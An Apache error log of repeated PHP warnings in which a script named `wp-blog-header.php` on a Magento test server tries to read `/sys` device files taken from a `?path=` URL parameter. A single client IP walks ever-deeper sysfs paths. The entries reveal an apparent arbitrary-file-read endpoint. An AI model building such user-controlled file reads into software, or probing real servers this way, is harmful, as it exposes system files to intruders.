[Thu Mar 26 15:31:01.827485 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ac
[Thu Mar 26 15:31:02.334874 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:fc
[Thu Mar 26 15:31:03.467362 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ba
[Thu Mar 26 15:31:07.727696 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ee
[Thu Mar 26 15:31:12.557893 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ec
[Thu Mar 26 15:31:13.642004 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ac
[Thu Mar 26 15:31:14.715367 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ac
[Thu Mar 26 15:31:15.247520 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:be
[Thu Mar 26 15:31:17.238482 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:dc
[Thu Mar 26 15:31:18.808831 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:fc
[Thu Mar 26 15:31:19.904956 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ce
[Thu Mar 26 15:31:20.966823 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ac
[Thu Mar 26 15:31:24.635042 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem
[Thu Mar 26 15:31:26.812525 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ba
[Thu Mar 26 15:31:27.279713 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:da
[Thu Mar 26 15:31:35.597973 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:fe
[Thu Mar 26 15:31:37.068069 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:cc
[Thu Mar 26 15:31:37.674500 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ca
[Thu Mar 26 15:31:38.227910 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ae
[Thu Mar 26 15:31:39.324834 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ec
[Thu Mar 26 15:31:45.165880 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:aa
[Thu Mar 26 15:31:45.689327 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem
[Thu Mar 26 15:31:46.208706 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem
[Thu Mar 26 15:32:02.257973 2026] [php:warn] [pid 3216441] [client 74.7.241.26:52298] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e7/subsystem/devices/device:7c/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e7/subsystem/devices/device:7c
[Thu Mar 26 15:37:44.002637 2026] [php:warn] [pid 3107062] [client 74.7.241.26:53816] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:9e/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:9e/subsystem/devices/device:dc
[Thu Mar 26 15:40:25.570083 2026] [php:warn] [pid 3216147] [client 74.7.241.26:49540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:6d/subsystem/devices/device:fa/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:6d/subsystem/devices/device:fa/subsystem
[Thu Mar 26 15:41:09.022707 2026] [php:warn] [pid 3107062] [client 74.7.241.26:41322] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:6a/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:6a/subsystem/devices/device:ea
[Thu Mar 26 15:44:55.155364 2026] [php:warn] [pid 3216441] [client 74.7.241.26:42058] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:0c/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:0c/subsystem/drivers/tpm_crb
[Thu Mar 26 15:45:21.835983 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57250] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d6/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:d6/subsystem/devices/device:ee
[Thu Mar 26 15:46:07.904868 2026] [php:warn] [pid 3106757] [client 74.7.241.26:57250] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:4e/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:4e/subsystem/devices/device:aa
[Thu Mar 26 15:47:35.899548 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44822] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2e/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2e/subsystem/devices/device:da
[Thu Mar 26 15:47:43.792488 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44822] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c1/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c1/subsystem/devices/device:dc
[Thu Mar 26 15:50:01.507203 2026] [php:warn] [pid 3216554] [client 74.7.241.26:42558] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f9/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f9/subsystem/devices/device:fa
[Thu Mar 26 15:51:23.283948 2026] [php:warn] [pid 3230778] [client 74.7.241.26:50568] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:7b/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:7b/subsystem/devices/device:fc
[Thu Mar 26 15:52:45.603428 2026] [php:warn] [pid 3216613] [client 74.7.241.26:49490] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2f/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2f/subsystem/devices/device:ae
[Thu Mar 26 15:53:57.670832 2026] [php:warn] [pid 3106405] [client 74.7.241.26:33158] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2e/subsystem/drivers/nfit/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2e/subsystem/drivers/nfit
[Thu Mar 26 15:54:41.904041 2026] [php:warn] [pid 3216401] [client 74.7.241.26:59072] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5a/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5a/subsystem/devices/device:fc
[Thu Mar 26 15:56:39.400348 2026] [php:warn] [pid 3216554] [client 74.7.241.26:41138] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c7/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c7/subsystem/devices/device:dc
[Thu Mar 26 16:00:04.489291 2026] [php:warn] [pid 3216554] [client 74.7.241.26:33112] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:3c/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:3c/subsystem/devices/device:be
[Thu Mar 26 16:00:37.079340 2026] [php:warn] [pid 3216554] [client 74.7.241.26:33112] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2b/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:2b/subsystem/devices/device:ce
[Thu Mar 26 16:02:27.038728 2026] [php:warn] [pid 3216554] [client 74.7.241.26:37104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f4/subsystem/devices/device:73/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:f4/subsystem/devices/device:73
[Thu Mar 26 16:03:41.334129 2026] [php:warn] [pid 3230778] [client 74.7.241.26:54176] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c4/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:c4/subsystem/devices/device:ac
[Thu Mar 26 16:04:42.166981 2026] [php:warn] [pid 3337397] [client 74.7.241.26:43080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e3/subsystem/drivers/nfit/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:e3/subsystem/drivers/nfit
[Thu Mar 26 16:06:09.895356 2026] [php:warn] [pid 3230778] [client 74.7.241.26:40442] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5f/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:5f/subsystem/devices/device:ba
